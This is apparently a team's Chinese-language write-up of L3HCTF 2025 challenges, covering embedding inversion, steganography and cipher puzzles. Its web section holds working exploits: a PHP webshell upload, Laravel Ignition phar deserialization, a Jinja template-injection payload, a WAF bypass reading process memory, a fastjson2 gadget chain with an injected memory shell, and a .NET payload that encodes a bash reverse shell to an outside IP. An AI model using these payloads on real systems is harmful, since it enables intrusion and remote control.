2025 L3HCTF SU WriteUp

感谢 L3H_Sec 的师傅们精心准备的比赛!本次L3HCTF我们 SU 取得了 第一名🏆 的好成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,欢迎发送个人简介至:suers_xctf@126.com 或者直接联系baozongwi QQ:2405758945。

以下是我们 SU 本次 2025 L3HCTF的 WriteUp。

img

Misc

LearnRag

https://github.com/vec2text/vec2text

https://arxiv.org/html/2401.12192v4

import vec2text
import torch
from transformers import AutoModel, AutoTokenizer, PreTrainedTokenizer, PreTrainedModel
import pickle

class RagData:
    def __init__(self, embedding_model=None, embeddings=None):
        self.embedding_model = embedding_model
        self.embeddings = embeddings or []

def get_gtr_embeddings(text_list,
                       encoder: PreTrainedModel,
                       tokenizer: PreTrainedTokenizer) -> torch.Tensor:

    inputs = tokenizer(text_list,
                       return_tensors="pt",
                       max_length=128,
                       truncation=True,
                       padding="max_length",).to("cuda")

    with torch.no_grad():
        model_output = encoder(input_ids=inputs['input_ids'], attention_mask=inputs['attention_mask'])
        hidden_state = model_output.last_hidden_state
        embeddings = vec2text.models.model_utils.mean_pool(hidden_state, inputs['attention_mask'])

    return embeddings


encoder = AutoModel.from_pretrained("sentence-transformers/gtr-t5-base").encoder.to("cuda")
tokenizer = AutoTokenizer.from_pretrained("sentence-transformers/gtr-t5-base")
corrector = vec2text.load_pretrained_corrector("gtr-base")

with open('rag_data.pkl', 'rb') as f:
  rag_data = pickle.load(f)


embeddings=rag_data.embeddings
embeddings = torch.tensor(embeddings)
# 查看数据结构
print(embeddings.shape)

vec2text.invert_embeddings(
    embeddings=embeddings.cuda(),
    corrector=corrector,
    num_steps=20,
)

flag出来的很乱,整理一下L3HCTF{wowthisisembedding}

量子双生影

ntfs数据流隐写+ai二维码变换+双图合并

首先给出的二维码很明显可以用https://github.com/Tokeii0/LoveLy-QRCode-Scanner 这个项目进行扫描

给出的提示是

img

分析解压出的图片很明显和压缩包大小不符合,检索考察的是ntfs数据流隐写,

img

解压用ntfsstreamseditor这个工具提取一下得到另外一个图片,分析发现是两个图片进行了xor用现成工具或写脚本

from PIL import Image

def xor_images(img1_path, img2_path, output_path="xor_result.png"):
    # 加载并转换为RGB格式
    img1 = Image.open(img1_path).convert("RGB")
    img2 = Image.open(img2_path).convert("RGB")

    if img1.size != img2.size:
        raise ValueError("图片尺寸不一致,无法进行异或运算")

    w, h = img1.size
    result = Image.new("RGB", (w, h))

    # 每像素逐位异或
    for x in range(w):
        for y in range(h):
            r1, g1, b1 = img1.getpixel((x, y))
            r2, g2, b2 = img2.getpixel((x, y))
            result.putpixel((x, y), (
                r1 ^ r2,
                g1 ^ g2,
                b1 ^ b2
            ))

    result.save(output_path)
    print(f"[+] 已保存异或图像为: {output_path}")

# 示例用法
if __name__ == "__main__":
    xor_images("1.webp", "2.webp", "xor_result.png")

得到图片还是用项目解码

img

Please Sign In

真签到题 ai梭哈点击就送哦内盖

丢给gpt让gpt生成脚本即可

import torch
from torchvision import transforms
from torchvision.models import shufflenet_v2_x1_0, ShuffleNet_V2_X1_0_Weights
from PIL import Image
import json
import requests
import os

def invert_embedding_to_image(embedding_path, output_path, steps=500, lr=0.1):
    # Load model
    model = shufflenet_v2_x1_0(weights=ShuffleNet_V2_X1_0_Weights.IMAGENET1K_V1)
    model.fc = torch.nn.Identity()
    model.eval()

    # Load target embedding
    with open(embedding_path, 'r') as f:
        target_emb = torch.tensor(json.load(f), dtype=torch.float32)

    # Initialize trainable image tensor (noise)
    img = torch.randn(1, 3, 224, 224, requires_grad=True)
    optimizer = torch.optim.Adam([img], lr=lr)

    for step in range(steps):
        optimizer.zero_grad()
        # Sigmoid to bound pixels between 0 and 1
        clipped = img.sigmoid()
        emb = model(clipped)[0]
        loss = torch.nn.functional.mse_loss(emb, target_emb)
        loss.backward()
        optimizer.step()
        if step % 50 == 0:
            print(f'Step {step}, Loss {loss.item():.6e}')

    # Convert to image and save
    result = (clipped.detach().squeeze().permute(1, 2, 0).cpu().numpy() * 255).astype('uint8')
    inv_image = Image.fromarray(result)
    inv_image.save(output_path)
    print(f"Inverted image saved to '{output_path}'")

def upload_and_print_response(image_path, server_url):
    if not os.path.exists(image_path):
        print(f"File '{image_path}' not found.")
        return
    with open(image_path, 'rb') as f:
        files = {'file': f}
        response = requests.post(server_url, files=files)
    try:
        print("Server response:", response.json())
    except ValueError:
        print("Server response (text):", response.text)

if __name__ == "__main__":
    EMB_PATH = 'embedding.json'
    OUT_IMG = 'inverted_image.png'
    SIGNIN_URL = 'http://1.95.8.146:50001/signin/'

    # Step 1: Invert embedding to image
    invert_embedding_to_image(EMB_PATH, OUT_IMG, steps=500, lr=0.1)

    # Step 2: Upload image and print the flag or failure
    upload_and_print_response(OUT_IMG, SIGNIN_URL)

img

PaperBack

给出了一条纸带上面全是点阵,看题目描述感觉像是拿纸带来保存数据,而且题目中提到了OllyDbg,通过关键词纸带和ollydbg可以搜到一个叫Paperback的东西:https://ollydbg.de/Paperbak/ ,下载这个软件扫描这条纸带可以扫描出一个很大的,但是内容空白的文件,放进Cyberchef转为hex可以看到:

img

只有20、09、0d、0a四种字符,而0d0a实际上就是\r\n,可以忽略,在这里将0d 0a 换成换行可以得到:

img

发现有很多单独出现的09,应该可以忽略,其余的每一行都只有20和09,而且除了第一行和那些单独出现的09之外全是十二个一组,猜测是二进制,且20对应0,09对应1,处理一下可以得到:

01001100  
00110011  
01001000  
01000011  
01010100  
01000110  
01111011  
01110111  
01100101  
01101100  
01100011  
01101111  
01101101  
01100101  
01011111  
01110100  
01101111  
01011111  
01101100  
00110011  
01101000  
01100011  
01110100  
01100110  
00110010  
00110000  
00110010  
00110101  
01111101

用Cyberchef转换一下就可以得到flag:

img

Why not read it out?

魔改trunic,手搓音标表

首先现在附件得到一个README文件,用010看看发现是jpg,而且末尾藏了一个翻转的base64编码,处理一下得到提示IGN Review,同时修改文件后缀打开图片得到以下内容

img

简单社工一下,确定这些文字来自于tunic这个游戏,这是一种由游戏作者自创的音标文字,将单词的音标划分为元音和辅音后,通过外圆内辅的构造方式拼凑出英文单词

img

然而正常去破译密文会发现不对劲,很多音标根本对不上,显然是出题人把文字给魔改了

此时再次分析提示,可以知道要去看ign的评论,在ign官网找到这个游戏后可以发现对应的官方测评只有下面这一个

https://www.ign.com/articles/tunic-review-xbox-pc-steam

通过对比发现,评测的第一段内容与密文的前面一大段都是完全对应的,因此我们得到了魔改tunic文字的密文以及对应明文

img

随后我们要做的就是手搓映射表,然后解出下面的五条文字即可得到flag

img

最终破译出来的内容大致如下,简单处理一下即可得到正确的flag

the content of flag is: come on little brave fox
replace lesser o with number zero, letter l with number one
replace lesser a with symbol at
make every lesser e uppercase
use underline to link each word

Web

赛博侦探

抓包得到路由

img

回答四个问题

邮箱根据下载的docx

img

店铺根据羽毛球店的距离可以得到大致的地点

img

取 114.175958,30.623494

老家一开始猜测就是武汉,实际需要通过机票码扫描

img

知道了老家是福州以及英文名LELAND

跳转到路由/secret/my_lovely_photos,分析图片都是?name=,猜测文件读取

img

下载文件得到flag

gogogo出发喽

img

可以爆破出是admin888,本地也能getshell,但是不能进远程的后台,419错误。发现是开启了debug模式的,访问/_ignition/health-check得到的{“can_execute_commands”:true}这个回显,查看MakeViewVariableOptionalSolution.php

img

利用phpggc生成恶意payload

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o /tmp/phar.gif

cat /tmp/phar.gif | base64 -w 0

尝试直接利用CVE发现不能成功,审计代码找到一个上传文件的接口

POST /api/image/base64 HTTP/1.1
Host: 1.95.8.146:41164
Content-Length: 169
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://1.95.8.146:41164
Referer: http://1.95.8.146:41164/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
 
{"data": "data:image/jpeg;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+"}

img

成功上传,尝试写入phar文件

POST /_ignition/execute-solution HTTP/1.1
Host: 1.95.8.146:41164
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{
"viewFile":"phar:///var/www/html/public/uploads/images/_uc40mzhOJ6cNEKoF.jpeg/test.txt",
"variableName":"test"
}}

img

测试发现fast_destruct就可以绕过了,修复签名的脚本

from hashlib import sha1
with open('phar.gif', 'rb') as file:
    f = file.read() 
   
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

with open('phar1.gif', 'wb') as file:
    file.write(newf) # 写入新文件

有了shell之后,发现权限不够,suid提权即可

openssl enc -in "/flag_gogogo_chufalong"

best_profile

此路由二次渲染last_ip,如果last_ip可控会造成模板注入

@app.route("/ip_detail/<string:username>", methods=["GET"])
def route_ip_detail(username):
    res = requests.get(f"http://127.0.0.1/get_last_ip/{username}")
    if res.status_code != 200:
        return "Get last ip failed."
    last_ip = res.text
    try:
        ip = re.findall(r"\d+\.\d+\.\d+\.\d+", last_ip)
        country = geoip2_reader.country(ip)
    except (ValueError, TypeError):
        country = "Unknown"
    template = f"""
    <h1>IP Detail</h1>
    <div>{last_ip}</div>
    <p>Country:{country}</p>
    """
    return render_template_string(template)

应用使用了ProxyFix中间件

from werkzeug.middleware.proxy_fix import ProxyFix
app.wsgi_app = ProxyFix(app.wsgi_app)

ProxyFix中间件的作用是从代理服务器传递的请求头中获取客户端的真实IP地址。当请求经过代理(如Nginx)时,原始客户端的IP会被保存在X-Forwarded-For头中。通过设置ProxyFix中间件,Flask的request.remote_addr将不再使用直接连接的客户端IP(通常是代理服务器的IP),而是使用X-Forwarded-For请求头中的IP地址。

X-Forwarded-For: 127.0.0.1 {%set ca=e|slice(16)|string|batch(16)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(8)|string|batch(8)|first|last+e|slice(11)|string|batch(11)|first|last+cycler.__doc__[697]+e|pprint|lower|batch(5)|first|last+e|slice(28)|string|batch(28)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(2)|string|batch(2)|first|last%}{{(sbwaf.__eq__.__globals__.sys.modules.os.popen(ca)).read()}}

配置文件中有如下内容

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ {
    proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
    proxy_pass http://127.0.0.1:5000;
    proxy_cache static;
    proxy_cache_valid 200 302 30d;
}

location ~ .*\.(js|css)?$ {
    proxy_ignore_headers Cache-Control Expires Vary Set-Cookie;
    proxy_pass http://127.0.0.1:5000;
    proxy_cache static;
    proxy_cache_valid 200 302 12h;
}

服务器设置了缓存所有以.js结尾的响应,同时注册功能没有限制用户名中的特殊字符,这使得我们可以构造特殊的用户名,例如:username.js。当我们注册完成后先向/发送带有X-Forwarded-For:xxx的请求,再向/get_last_ip/username.js发送请求,服务器返回的响应会被缓存,无论接下来的请求是否携带cookie,只要路径相同,返回的结果都会是相同的。/ip_detail路由内部向/get_last_ip发送的请求即使不携带cookie也会返回我们给予的last_ip。

gateway_advance

对于此处的过滤

access_by_lua_block {
    local blacklist = {"%.", "/", ";", "flag", "proc"}
    local args = ngx.req.get_uri_args()
    for k, v in pairs(args) do
        for _, b in ipairs(blacklist) do
            if string.find(v, b) then
                ngx.exit(403)
                    end
            end
    end
}

https://github.com/p0pr0ck5/lua-resty-waf/issues/280

/download?&a0=0&a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a=information_schemas&filename=../etc/passwd

对于此处的过滤

proxy_pass http://127.0.0.1/static$arg_filename;
body_filter_by_lua_block {
    local blacklist = {"flag", "l3hsec", "l3hctf", "password", "secret", "confidential"}
    for _, b in ipairs(blacklist) do
        if string.find(ngx.arg[1], b) then
            ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
            end
        end
    }
}

Range 头是 HTTP 协议中用于请求部分内容的请求头,格式为:

Range: bytes=[start]-[end]

允许客户端指定需要获取的资源字节范围,实现断点续传和分块下载功能。

img

首先利用此方法遍历文件描述符在 /proc/1/fd/6 找到 password 为passwordismemeispasswordsoneverwannagiveyouup

然后可以先通过/proc/self/maps获得当前进程虚拟地址映射

img

在本地环境 nginx.conf 的初始化代码后面加上一段,获取 flag 变量的地址

init_by_lua_block {
        # 在最后加上一段
        print(tostring(flag))
        local ffi = require("ffi")
        local ptr = ffi.cast("const char*", flag)
        print("Address: ", tostring(ptr))
}

找到 flag 存储在 /dev/zero 的下一段内存中

读取 /proc/self/mem 中对应的内存,搜索 ‘L3H’ 即可获得 flag

GET /read_anywhere HTTP/1.1
Host: Your_host
X-Gateway-Password: test_password
X-Gateway-Filename: /proc/self/mem
X-Gateway-Start: 0x7e07636f3000
X-Gateway-Length: 0x100000

Tellmewhy

一道java题,solon框架,存在fastjson2依赖

img

/baby/way 路由存在反序列化点

img

自定义objectStream中定义了反序列化黑名单

  • javax.management.BadAttributeValueExpException
  • javax.swing.event.EventListenerList
  • javax.swing.UIDefaults$TextAndMnemonicHashMap

目的应该是想过滤hashmap -> fastjson2.JSONArray中的链子,不管是通过经验还是跑一下tabby都能发现还有XString这个可用的链子

img

基于这个构造出基础payload

import com.alibaba.fastjson2.JSONObject;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xpath.internal.objects.XString;


public class Test2 {
    public static void main(String[] args) throws Exception {

        TestObj testObj = new TestObj();
        JSONObject jsonObject1 = new JSONObject();
        jsonObject1.put("g", testObj);
        
        XString xs = new XString("\n");

        HashMap hashMap = new HashMap<>();
        HashMap hashMap2 = new HashMap<>();
        hashMap.put("yy",jsonObject1);
        hashMap.put("zZ", xs);
        hashMap2.put("yy",xs);
        hashMap2.put("zZ",jsonObject1);

        Object obj = makeMap(hashMap, hashMap2);
        serialize(obj);
        unserialize("ser.bin");
    }


    public static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();

    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static HashMap makeMap(Object v1, Object v2) throws Exception {
        HashMap s = new HashMap();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
}

fastjson2 与 fastjson1 机制上不太一样,通过fastjson2 构造反序列化链触发templates会进入黑名单,常见的打法是需要通过代理类进行处理,这部分详细内容可通过下述链接学习:

出题人在赛题中也贴心的直接给出了可以使用的代理类org.example.demo.Utils.MyProxy

img

在有这个类的基础上就可以编写出完整的poc

import com.sun.org.apache.xpath.internal.objects.XString;
import common.Reflections;
import common.Util;
import gadgets.*;
import org.example.demo.Utils.MyObject;

import javax.naming.spi.ObjectFactory;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Fastjson4_ObjectFactoryDelegatingInvocationHandler {

    public Object getObject(String cmd) throws Exception {

//        System.setProperty("properXalan", "true");

        Object node1 = TemplatesImplNode.makeGadget(cmd);
        Map map = new HashMap();
        map.put("object", node1);
        Object node2 = JSONObjectNode.makeGadget(2, map);
        Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
                new Class[]{ObjectFactory.class, MyObject.class}, (InvocationHandler) node2);

        Object node3 = makeGadget(proxy1);
        Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
                new Class[]{Templates.class}, (InvocationHandler) node3);
        Object node4 = JsonArrayNode.makeGadget(2, proxy2);
//       Object node5 = BadAttrValExeNode.makeGadget(node4);

        Map gadgetChain = makeXStringToStringTrigger(node4);

        Object[] array = new Object[]{node1, gadgetChain};
        Object node6 = HashMapNode.makeGadget(array);
        return node6;
    }

    public static Map makeXStringToStringTrigger(Object o) throws Exception {
        XString x = new XString("\n");

        return makeMap(o, x);
    }

    public static Map makeMap(Object v1, Object v2) throws Exception {
        Map map1 = new HashMap();
        map1.put("yy", v1);
        map1.put("zZ", v2);

        Map map2 = new HashMap();
        map2.put("yy", v2);
        map2.put("zZ", v1);


        HashMap s = new HashMap();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }


    public static void main(String[] args) throws Exception {
        Object object = new Fastjson4_ObjectFactoryDelegatingInvocationHandler().getObject(Util.getDefaultTestCmd());
        byte[] serialize = Util.serialize(object);
        String s = Base64.getEncoder().encodeToString(serialize);
        System.out.println(s);
        System.out.println(s.length());
//        Util.runGadgets(object);
    }

    public static Object makeGadget(Object gadget) throws Exception {
        return Reflections.newInstance("org.example.demo.Utils.MyProxy",
                MyObject.class, gadget);
    }


}

在进入到正式的反序列化逻辑之前还有一个问题,改路由对传递进的json数量进行了比对,solon框架解析到的map和fastjson2解析到的length需要不一致

img

这一点就涉及到了解析特性相关内容,fastjson2和fastjson1一致,仍旧支持@type键,在正常的solon解析是无法被解析到,从而绕过了这一点

{"@type": "java.util.HashMap","why":"base64 payload"}

最后成功触发反序列化,但远程环境不出网,还需要去找一个solon内存马

https://github.com/wuwumonster/note/blob/3463f12984aa347292d508e4fb1d4d9a7f2b0bc5/JavaSec/JavaSec/%E5%86%85%E5%AD%98%E9%A9%AC/Solon%20%E5%86%85%E5%AD%98%E9%A9%AC.md?plain=1#L84

随便找了一个solon filter内存马即可

img

最后将内存马放入到templates中即可

package gadgets;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import common.ClassFiles;
import common.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;

import java.io.ByteArrayOutputStream;
import java.io.Serializable;
import java.util.zip.GZIPOutputStream;
import java.util.Base64;

public class TemplatesImplNode {
    public static Object makeGadget(String cmd) throws Exception {
        return createTemplatesImpl(cmd);
    }

    public static Object createTemplatesImpl(final String command) throws Exception {
        Class tplClass;
        Class abstTranslet;
        Class transFactory;
        if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
            tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
            abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
            transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
        } else {
            tplClass = TemplatesImpl.class;
            abstTranslet = AbstractTranslet.class;
            transFactory = TransformerFactoryImpl.class;
        }

        Class<?> clazz = Class.forName("memo.FilterMemshell", false, Thread.currentThread().getContextClassLoader());
        return createTemplatesImpl(clazz, (String) null, (byte[]) null, tplClass, abstTranslet, transFactory);

//        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }


    public static <T> T createTemplatesImpl(Class myClass, String command, byte[] bytes, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
        T templates = (T) tplClass.newInstance();
        byte[] classBytes = new byte[0];
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
        CtClass superC = pool.get(abstTranslet.getName());

        if (myClass != null) {
            CtClass ctClass = pool.get(myClass.getName());
            ctClass.setSuperclass(superC);
            ctClass.setName(myClass.getName() + System.nanoTime());
            classBytes = ctClass.toBytecode();
        }

        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
        Reflections.setFieldValue(templates, "_name", "ysoserial.Pwner" + System.nanoTime());
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }


    public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replace("\\", "\\\\").replace("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
                classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

    public static class Foo implements Serializable {

        private static final long serialVersionUID = 8207363842866235160L;
    }

    public static class StubTransletPayload extends AbstractTranslet implements Serializable {

        private static final long serialVersionUID = -5971610431559700674L;


        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }


        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }
    }
}

到最后仍旧有个小坑点,这台机器远程没有/bin/bash,捣鼓半天换成/bin/sh就拿到flag了

img

Get flag

img

LookingMyEyes

考察.NET反序列化,看一下链子的构成

出题人写了一条非常简单的链子。

img

这里直接利用委托方法调用写文件的函数。覆盖/app/Looking/My/Eyes.cshtml

using ClassLibrary1;
using ClassLibrary1.Beans;
using ClassLibrary1.Transform;
using ClassLibrary1.Utils;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;

public class AdvancedTestPayloadGenerator
{
    static void Main(string[] args)
    {
        string base64 = Generate();
        Console.WriteLine("=== Generated BinaryFormatter Payload (Base64) ===");
        Console.WriteLine(base64);
        Console.WriteLine("=== End ===");
    }

    public static object Deserialize(string s)
    {
        AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowFileWrites", true);
        object obj;
        using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(s)))
        {
            object deserialize = new BinaryFormatter
            {
                Binder = new MySecBinder()
            }.Deserialize(memoryStream);
            obj = deserialize;
        }
        return obj;
    }
    public static string Generate()
    {
        string base64String = "QHsKICAgIExheW91dCA9IG51bGw7CiAgICBzdHJpbmcgb3V0cHV0ID0gIiI7CiAgICB0cnkKICAgIHsKICAgICAgICB2YXIgcHJvY2Vzc0Fzc2VtYmx5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MiKTsKICAgICAgICB2YXIgcHNpVHlwZSA9IHByb2Nlc3NBc3NlbWJseS5HZXRUeXBlKCJTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzc1N0YXJ0SW5mbyIpOwogICAgICAgIHZhciBwcm9jZXNzVHlwZSA9IHByb2Nlc3NBc3NlbWJseS5HZXRUeXBlKCJTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyIpOwogICAgICAgIHZhciBwc2kgPSBTeXN0ZW0uQWN0aXZhdG9yLkNyZWF0ZUluc3RhbmNlKHBzaVR5cGUpOwogICAgICAgIHBzaVR5cGUuR2V0UHJvcGVydHkoIkZpbGVOYW1lIikuU2V0VmFsdWUocHNpLCAiYmFzaCIpOwogICAgICAgIHBzaVR5cGUuR2V0UHJvcGVydHkoIkFyZ3VtZW50cyIpLlNldFZhbHVlKHBzaSwgIi1jIFwiYmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjIuNTEuMTM3Lzk5OTkgMD4mMVwiIik7CiAgICAgICAgcHNpVHlwZS5HZXRQcm9wZXJ0eSgiUmVkaXJlY3RTdGFuZGFyZE91dHB1dCIpLlNldFZhbHVlKHBzaSwgdHJ1ZSk7CiAgICAgICAgcHNpVHlwZS5HZXRQcm9wZXJ0eSgiUmVkaXJlY3RTdGFuZGFyZEVycm9yIikuU2V0VmFsdWUocHNpLCB0cnVlKTsKICAgICAgICBwc2lUeXBlLkdldFByb3BlcnR5KCJVc2VTaGVsbEV4ZWN1dGUiKS5TZXRWYWx1ZShwc2ksIGZhbHNlKTsKICAgICAgICBwc2lUeXBlLkdldFByb3BlcnR5KCJDcmVhdGVOb1dpbmRvdyIpLlNldFZhbHVlKHBzaSwgdHJ1ZSk7CiAgICAgICAgdmFyIHN0YXJ0TWV0aG9kID0gcHJvY2Vzc1R5cGUuR2V0TWV0aG9kKCJTdGFydCIsIG5ld1tdIHsgcHNpVHlwZSB9KTsKICAgICAgICB2YXIgcHJvY2VzcyA9IHN0YXJ0TWV0aG9kLkludm9rZShudWxsLCBuZXcgb2JqZWN0W10geyBwc2kgfSk7CiAgICAgICAgdmFyIHN0ZE91dFByb3BlcnR5ID0gcHJvY2Vzc1R5cGUuR2V0UHJvcGVydHkoIlN0YW5kYXJkT3V0cHV0Iik7CiAgICAgICAgdmFyIHN0ZE91dFJlYWRlciA9IChTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyKXN0ZE91dFByb3BlcnR5LkdldFZhbHVlKHByb2Nlc3MpOwogICAgICAgCiAgICAgICAgb3V0cHV0ID0gc3RkT3V0UmVhZGVyLlJlYWRUb0VuZCgpOwoKICAgICAgICB2YXIgc3RkRXJyUHJvcGVydHkgPSBwcm9jZXNzVHlwZS5HZXRQcm9wZXJ0eSgiU3RhbmRhcmRFcnJvciIpOwogICAgICAgIHZhciBzdGRFcnJSZWFkZXIgPSAoU3lzdGVtLklPLlN0cmVhbVJlYWRlcilzdGRFcnJQcm9wZXJ0eS5HZXRWYWx1ZShwcm9jZXNzKTsKICAgICAgICBzdHJpbmcgZXJyb3JPdXRwdXQgPSBzdGRFcnJSZWFkZXIuUmVhZFRvRW5kKCk7CgogICAgICAgIHZhciB3YWl0Rm9yRXhpdE1ldGhvZCA9IHByb2Nlc3NUeXBlLkdldE1ldGhvZCgiV2FpdEZvckV4aXQiLCBTeXN0ZW0uVHlwZS5FbXB0eVR5cGVzKTsKICAgICAgICB3YWl0Rm9yRXhpdE1ldGhvZC5JbnZva2UocHJvY2VzcywgbnVsbCk7CgogICAgICAgIGlmICghc3RyaW5nLklzTnVsbE9yV2hpdGVTcGFjZShlcnJvck91dHB1dCkpCiAgICAgICAgewogICAgICAgICAgICBvdXRwdXQgKz0gIlxuW3N0ZGVycl1cbiIgKyBlcnJvck91dHB1dDsKICAgICAgICB9CiAgICB9CiAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgewogICAgICAgIG91dHB1dCA9ICLpgJrov4flj43lsITmiafooYzlkb3ku6Tml7blh7rplJk